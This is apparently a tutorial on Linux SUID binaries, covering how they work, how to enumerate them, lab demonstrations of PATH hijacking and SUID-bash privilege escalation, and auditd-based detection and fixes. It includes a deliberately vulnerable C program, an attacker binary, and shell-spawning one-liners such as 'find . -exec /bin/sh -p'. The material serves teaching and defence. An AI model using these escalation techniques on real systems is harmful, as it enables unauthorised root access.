Hi, Ցանցահենы
You're poking around a Linux box. Perfectly ordinary. You run ls -l on something in /usr/bin out of curiosity, and you get back this:
shun@labvm:~$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 59976 Mar 14 2024 /usr/bin/passwdThat s where the x should be: not a typo. That is the kernel's permission to a regular user to temporarily become, for the duration of that program's execution, someone they absolutely are not. In this case: root.
The passwd utility needs to write to /etc/shadow, a file owned by root that no ordinary user can touch. Yet when you run passwd, it works fine. You type a new password. The file updates. You didn't have root. The program did. The moment it exits, you're back to being nobody.
That is SUID. And in the right conditions: wrong binary, wrong configuration, sloppy implementation: it's also the starting point for a local privilege escalation that will make your stomach drop.
What SUID Actually Does
SUID stands for Set User ID. It's a Unix permission bit, decades old, designed for a specific and legitimate purpose: letting a program run with the privileges of its owner, not the user who launched it.
To understand why that matters, you need to know about the two UIDs every Linux process carries around:
Real UID (RUID): Who you actually are. The user who started the process. Doesn't change when you run a privileged program.
Effective UID (EUID): Who the kernel treats you as for permission checks. File reads, writes, network binds: the kernel looks at your EUID.
When you run a normal program, both UIDs are yours. When you run a SUID binary owned by root, something shifts: your EUID becomes 0 for the lifetime of that process, even though your RUID is still your own UID. The program executes as root, effectively. You didn't authenticate. The bit on the file did.
That s in -rwsr-xr-x is the SUID bit. Owner: root. Meaning: any user who can execute this file gets an effective UID of 0 while it runs.
shun@labvm:~$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 59976 Mar 14 2024 /usr/bin/passwdThe s in position four is the SUID bit. Owner: root. Any executing user gets EUID 0 for the duration.
The s replaces the owner's execute bit. If the owner execute bit weren't set, you'd see S (capital) instead: the SUID bit is set but the file isn't executable, which is a misconfiguration of its own kind.
SUID is a legitimate feature
Without it, you'd need to run every privilege-requiring operation through sudo, or setuid() calls in a daemon, or some other mechanism. passwd, su, ping (on older systems), mount (on some distributions). These use SUID because they need brief, controlled elevation to do their jobs.
The problem isn't the bit. The problem is what happens when a root-owned SUID binary does something a user can influence.
SUID, SGID, and Capabilities
SGID (Set Group ID) is the same idea but for groups. A SGID binary runs with the group ID of the file's group, not the caller's group. Same risk surface, different privilege axis.
Linux capabilities are the more granular modern answer: instead of giving a process full root (EUID 0), you grant it individual capabilities like CAP_NET_BIND_SERVICE (bind to port 80) or CAP_DAC_READ_SEARCH (bypass file read permission checks). ping on modern systems often uses capabilities instead of SUID. Better. Harder to abuse. Still worth auditing.
The Nuances Worth Knowing
SUID on shell scripts doesn't work on Linux. The kernel ignores the SUID bit on interpreted scripts. This is intentional: scripts have too many attack surfaces (shebang, PATH for the interpreter, etc.) to safely elevate.
nosuid mount option prevents SUID elevation on that filesystem entirely. If /tmp is mounted with nosuid, dropping a SUID binary there accomplishes nothing.
no_new_privs is a process attribute that prevents privilege elevation via SUID (or seccomp filter changes) for that process and its descendants. Systemd service files often set NoNewPrivileges=true for exactly this reason.
Some shells drop privileges. bash and dash detect when EUID != RUID and deliberately reset EUID to RUID unless invoked with -p. More on this shortly.
Linux does not sanitize PATH for SUID binaries. The kernel passes the caller's environment verbatim through execve(2). The dynamic linker strips LD_PRELOAD and LD_LIBRARY_PATH in secure-execution mode, but PATH passes through untouched. This is the condition that makes PATH hijacking possible.
SUID doesn't override AppArmor, SELinux, seccomp filters, or capabilities restrictions. It elevates your effective UID; it doesn't suspend the rest of the security model.
Hunting SUID Binaries
If you're auditing a system, or you're dropped onto one during a pentest, the first thing you want is a full list of SUID files.
find / -type f -perm -4000 2>/dev/nullBreaking that down: -type f limits results to regular files (not directories or symlinks). -perm -4000 matches any file where the SUID bit (octal 4000) is set, regardless of other bits. 2>/dev/null silences "Permission denied" noise from directories your user can't read. Without the redirect, you'll get hundreds of error lines burying the actual results.
shun@labvm:~$ find / -type f -perm -4000 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo
/usr/bin/umount
/usr/lib/openssh/ssh-keysign
Illustrative output from a clean Debian 12 install. Yours will differ. Most of these are expected; anything unrecognized is worth a closer look.
This is a list of candidates, not confirmed vulnerabilities. The question is: which of these shouldn't be there?
Investigating a Result
For anything suspicious, start here:
ls -l /path/to/binary # Permissions, owner, size, date
file /path/to/binary # What kind of file is it?
strings /path/to/binary # What strings are embedded? Commands? Paths?
Then ask:
Who owns it? A SUID binary owned by a non-root user is unusual. What account is that?
Which package installed it? On Debian/Ubuntu:
dpkg -S /path/to/binary. On Arch Linux:pacman -Qo /path/to/binary. These are different commands and not interchangeable.Is this expected on this system? If you find
/opt/legacy-app/launcherwith SUID set and it's not in any package database, you have a conversation to have.Does the program call external commands?
stringswill often reveal embedded command names, paths, or suspicious environment variable references.Can an unprivileged user influence what it does? This is the core question.
Demonstration One: PATH Hijacking a SUID Binary
This is the most important section. None of this should touch a production system.
The Vulnerable Program
Consider a root-owned SUID binary that does something like this:
// vuln_suid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
printf("RUID: %d\n", (int)getuid());
printf("EUID: %d\n", (int)geteuid());
execlp("backup", "backup", NULL);
perror("execlp failed");
return 1;
}
The program prints both UIDs and then executes a program named backup by searching PATH. It doesn't specify /usr/local/bin/backup or any absolute path. It trusts that PATH will lead it somewhere legitimate.
When this binary has the SUID bit set and is owned by root, the execlp() call runs with an effective UID of 0. Whatever binary PATH resolves to for backup inherits that privilege: execlp replaces the current process image, it doesn't spawn a child.
This is the vulnerability: the elevated process trusts the caller's environment to locate executables. The caller controls
PATH. Therefore, the caller chooses what runs as root.
Why Not a Shell Script?
The obvious first instinct is to make ~/fake-bin/backup a shell script. It won't work. When bash or dash is invoked as a script interpreter and detects that its effective UID differs from its real UID, it resets EUID back to RUID before executing anything: a deliberate privilege-dropping safety mechanism baked into every common Linux shell. The privilege escalation works at the execlp() layer; the elevated EUID just never makes it into the script. Use a compiled binary instead.
Setting Up the Lab
Save vuln_suid.c to /opt/suid-lab/vuln_suid.c(or wherever you want). As root:
root@labvm:~# mkdir /opt/suid-lab
root@labvm:~# gcc -o /opt/suid-lab/vuln_suid /opt/suid-lab/vuln_suid.c
root@labvm:~# chown root:root /opt/suid-lab/vuln_suid
root@labvm:~# chmod 4755 /opt/suid-lab/vuln_suid
root@labvm:~# ls -l /opt/suid-lab/vuln_suid
-rwsr-xr-x 1 root root 16936 Oct 24 14:05 /opt/suid-lab/vuln_suidAs the unprivileged lab user, create the fake-bin directory:
shun@labvm:~$ mkdir ~/fake-binSave the following source as ~/fake-bin/fake_backup.c:
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
int main(void) {
uid_t ruid = getuid();
uid_t euid = geteuid();
printf("=== fake backup executed ===\n");
printf("RUID: %d\n", (int)ruid);
printf("EUID: %d\n", (int)euid);
if (euid == 0) {
const char *proof = "/opt/suid-lab/PWNED_by_attacker";
int fd = open(proof, O_CREAT | O_WRONLY | O_TRUNC, 0644);
if (fd >= 0) {
const char msg[] = "attacker controlled code ran with EUID=0\n";
write(fd, msg, sizeof(msg) - 1);
close(fd);
printf("Proof file created: %s\n", proof);
}
} else {
printf("EUID is %d. Privilege escalation did not work.\n", (int)euid);
}
return 0;
}Compile it:
shun@labvm:~$ gcc -o ~/fake-bin/backup ~/fake-bin/fake_backup.cNow execute the vulnerable binary with PATH pointing to your fake bin first:
shun@labvm:~$ PATH=~/fake-bin:$PATH /opt/suid-lab/vuln_suid
RUID: 1000
EUID: 0
=== fake backup executed ===
RUID: 1000
EUID: 0
Proof file created: /opt/suid-lab/PWNED_by_attacker
shun@labvm:~$ ls -l /opt/suid-lab/PWNED_by_attacker
-rw-r--r-- 1 root root 41 Oct 24 14:07 /opt/suid-lab/PWNED_by_attackervuln_suid prints its own UIDs first, then hands control to the attacker's binary, which also runs with EUID 0. The proof file, owned by root, in a root-owned directory, confirms the escalation: an ordinary user cannot create that file without elevated privileges.
The Fix
#include <stdio.h>
#include <unistd.h>
int main(void) {
printf("Real UID: %d\n", (int)getuid());
printf("Effective UID: %d\n", (int)geteuid());
execl("/opt/suid-lab/trusted_backup", "trusted_backup", NULL);
perror("execl failed");
return 1;
}The change is simple: execl() with an absolute path instead of execlp() with a name. execlp() searches PATH. execl() does not. The binary at /opt/suid-lab/trusted_backup is the binary that runs, regardless of what you put in PATH.
For a convincing retest we need an actual binary at that path, so we can confirm the right one ran, not just that the wrong one didn't. Save the following as /opt/suid-lab/trusted_backup.c:
#include <stdio.h>
#include <unistd.h>
int main(void) {
printf("=== legitimate backup running ===\n");
printf("Real UID: %d\n", (int)getuid());
printf("Effective UID: %d\n", (int)geteuid());
return 0;
}As root, compile both:
root@labvm:~# gcc -o /opt/suid-lab/fixed_suid /opt/suid-lab/fixed_suid.c
root@labvm:~# chown root:root /opt/suid-lab/fixed_suid
root@labvm:~# chmod 4755 /opt/suid-lab/fixed_suid
root@labvm:~# gcc -o /opt/suid-lab/trusted_backup /opt/suid-lab/trusted_backup.c
root@labvm:~# chown root:root /opt/suid-lab/trusted_backup
root@labvm:~# chmod 755 /opt/suid-lab/trusted_backupRetest as the unprivileged user, fake bin still first in PATH:
shun@labvm:~$ PATH=~/fake-bin:$PATH /opt/suid-lab/fixed_suid
Real UID: 1000
Effective UID: 0
=== legitimate backup running ===
Real UID: 1000
Effective UID: 0"fake backup executed" is absent. ~/fake-bin/backup was never consulted. trusted_backup also shows EUID 0 because it inherits the elevated credential from fixed_suid: per execve(2), a non-SUID exec keeps the calling process's existing effective UID. What matters here is which binary ran.
But "use an absolute path" is a floor, not a ceiling. A complete fix also considers:
Does this need to call an external program at all? If the backup logic can be inlined, eliminate the exec call.
Is the called program itself writable by a non-root user? An absolute path to a world-writable binary is still exploitable.
Can the argument vector be influenced by the caller? If user input feeds into arguments, even an absolute path isn't enough without sanitization.
Should this program drop privileges before the exec? If the backup binary doesn't need root, call
seteuid(getuid())before exec.
The PATH hijack is dead. The underlying question of whether this program should be SUID at all remains open.
Demonstration Two: SUID Bash
This one isn't a coding bug. It's an admin mistake. A surprisingly common one.
bash has a -p flag (privileged mode) that tells it not to reset the effective UID to the real UID. Normally, when bash detects that EUID != RUID (which happens when you run a SUID bash), it resets EUID to RUID and proceeds as an unprivileged shell. -p disables that safety reset.
So: a root-owned bash binary with the SUID bit set, launched with bash -p, gives you a shell with EUID 0.
Assigning the SUID bit to
/bin/bashis a dangerous configuration you must create deliberately. It is not a default. You WILL undo it immediately after testing.
As root:
root@labvm:~# chmod u+s /bin/bash
root@labvm:~# ls -l /bin/bash
-rwsr-xr-x 1 root root 1265648 Apr 23 2023 /bin/bashAs the unprivileged user:
katu@labvm:~$ bash -p
bash-5.2# id
uid=1000(katu) gid=1000(katu) euid=0(root) groups=1000(katu)
bash-5.2# exit
katu@labvm:~$EUID 0 in a shell launched by an ordinary user. This is what it looks like when an administrator sets SUID on bash: a mistake made while "testing something quickly" and never undone.
Clean up immediately. As root:
root@labvm:~# chmod u-s /bin/bash
root@labvm:~# ls -l /bin/bash
-rwxr-xr-x 1 root root 1265648 Apr 23 2023 /bin/bashThe s is gone. The misconfiguration is undone. Verify this before closing the terminal.
Take find as an example. If /usr/bin/find has the SUID bit set (it normally shouldn't), a GTFOBins entry documents that:
find . -exec /bin/sh -p \; -quit
This spawns a shell with elevated effective UID. find calls execve on /bin/sh, which inherits the EUID 0 established by find's SUID bit. The -p flag prevents sh (dash on Debian/Ubuntu) from dropping that privilege.
The critical constraint: this only works if find actually has the SUID bit and is owned by root. A default install of find has no SUID bit. GTFOBins lists what can happen under specific conditions, not what is happening on your system. Enumeration tells you whether those conditions exist. GTFOBins tells you what to do next if they do.
The PATH hijacking example exploits a programming error. The bash/GTFOBins examples exploit a permission misconfiguration. Both result in the same outcome (code running as root that shouldn't), but the mechanism and the fix are different.
What Actually Makes a SUID Binary Dangerous
Now that you've seen two examples, here's the mental model for auditing any SUID binary you haven't seen before.
Unsafe external execution. Any SUID program that exec's another binary by name (not absolute path) is vulnerable to PATH hijacking. Any program that passes shell-interpretable strings to
system()is potentially vulnerable to shell injection:system()invocations include PATH lookups and shell metacharacter processing by design.Attacker-controlled input flows into privileged operations. If the user can supply a filename, argument, or environment variable that influences what the SUID program does with elevated privileges: reads, writes, executes: that's your attack surface. Input validation that happens before privilege elevation can sometimes be bypassed. Input that isn't validated at all is a freebie.
Modifiable dependencies. An absolute path to a world-writable binary or directory is still exploitable. SUID program calls
/usr/local/bin/backup? What if/usr/local/bin/is writable by non-root users? Check ownership of the entire path, not just the final binary.Insecure temp file handling. A SUID program that writes a predictable filename in
/tmpis vulnerable to symlink attacks. You create a symlink from/tmp/predictable-nameto/etc/passwdbefore the program runs. The program opens its "temp file," follows the symlink, and writes to/etc/passwdas root. This is a time-of-check/time-of-use (TOCTOU) issue: the check (does this file exist?) and the use (open this file) happen at different moments, and you squeeze in between them.Excessive privilege lifetime. A SUID program that needs root to read a single file but keeps EUID 0 for its entire runtime is holding more privilege than it needs. If any subsequent operation in that program can be influenced by user input, even in ways that weren't originally intended as security-sensitive, the elevated privilege becomes a liability. Drop it as soon as you're done with it:
seteuid(getuid()).
The common thread: a SUID binary is only as safe as the boundary between what it does with elevated privileges and what the unprivileged caller can influence. A narrow, well-defined boundary is safe. A porous one isn't.
Detection and Defense
Inventory First
You cannot defend what you haven't catalogued. Run this regularly:
find / -type f -perm -4000 2>/dev/null | sort > /var/lib/suid-audit/suid-$(date +%Y%m%d).txt
diff /var/lib/suid-audit/suid-baseline.txt /var/lib/suid-audit/suid-$(date +%Y%m%d).txtA new entry in the diff means something changed. That's the event worth investigating.
Validate Package Provenance
Every SUID binary should be traceable to a package.
# Debian/Ubuntu:
dpkg -S /usr/bin/passwd
# Arch Linux:
pacman -Qo /usr/bin/passwdAn unpackaged SUID binary (one not owned by any package) is unusual and should be examined. It might be legitimate (a locally-compiled tool, a vendor binary), but you should know why it's there.
Remove Unnecessary SUID Bits
chmod u-s /path/to/binary
ls -l /path/to/binaryIf you're not sure whether removing SUID will break something, test in a staging environment. Programs that need elevated privileges but don't need full root can often be rewritten to use Linux capabilities instead:
# Grant specific capabilities instead of SUID:
setcap cap_net_bind_service=+ep /path/to/serviceFilesystem-Level Mitigation
# Mount /tmp with nosuid (add to /etc/fstab):
/tmp tmpfs defaults,nosuid,noexec,nodev 0 0nosuid on /tmp means SUID binaries planted there can't elevate privileges, which removes one common post-exploitation staging area. It doesn't help if the binary is installed somewhere more permanent, but it's a cheap, reasonable mitigation.
Monitor Privilege Escalation Events
auditd can log every execve call that produces an elevated effective UID from a normal user account. Install and enable it first:
sudo apt install auditd
sudo systemctl enable --now auditdAdd rules for both 64-bit and 32-bit syscall variants. On a 64-bit kernel, 32-bit binaries use different syscall numbers, so one rule alone won't catch everything:
sudo auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -k suid_exec
sudo auditctl -a always,exit -F arch=b32 -S execve -F euid=0 -F auid>=1000 -k suid_execThese rules log every execve that results in EUID 0 from an account with an audit UID of 1000 or higher. In practice this includes passwd, sudo, and other expected SUID binaries. Treat it as discovery data, not a confirmed-attack alert. Filter by executable path in your SIEM.
To read the audit log in human-readable form:
sudo ausearch -k suid_exec -iRules set via auditctl don't survive a reboot. Persist them:
cat << 'EOF' | sudo tee /etc/audit/rules.d/suid.rules
-a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -k suid_exec
-a always,exit -F arch=b32 -S execve -F euid=0 -F auid>=1000 -k suid_exec
EOF
sudo augenrules --loadFindings Table
Finding | Why it matters | What to do |
|---|---|---|
SUID binary not owned by any package | May be a planted or custom privileged binary | Identify the source; remove SUID if not needed |
SUID binary calls external command without absolute path | PATH hijacking possible | Fix the code to use absolute paths; or remove SUID |
SUID bit on an interpreter (bash, python, perl) | Interactive shell with elevated EUID trivially obtainable | Remove SUID immediately; audit how it was set |
SUID binary in a world-writable directory | Binary itself can be replaced | Move to root-owned directory or remove SUID |
New SUID binary since last baseline | Something changed on the system | Investigate the change; verify it was intentional |
SUID binary with no_new_privs set on its launcher | SUID elevation will be blocked | Intentional; document it |
SUID binary listed in GTFOBins | Documented escalation path exists under this configuration | Verify whether SUID is necessary; if not, remove |
Conclusion
SUID is a permission bit, not a vulnerability. It exists because Unix needed a way for programs to briefly act as someone they aren't, and for several decades that's worked reasonably well when done carefully.
The danger is never "SUID exists." The danger is the combination of elevated privileges and a boundary the caller can cross: a PATH they control, an argument they supply, a file they can place, a symlink they can set. Every privilege escalation through SUID is a story about trust placed in the wrong place.
The useful takeaway isn't a list of commands to run on a target. It's a way of reading privileged code: find where the elevated process interacts with something the unprivileged caller influences, then ask whether that interaction was designed with the privilege difference in mind. Usually it was. Sometimes it wasn't. That gap is what you're looking for.
The SUID bit doesn't give attackers root. It gives programs root. The attacker's job is to make the program take an action they chose.

Comments (1)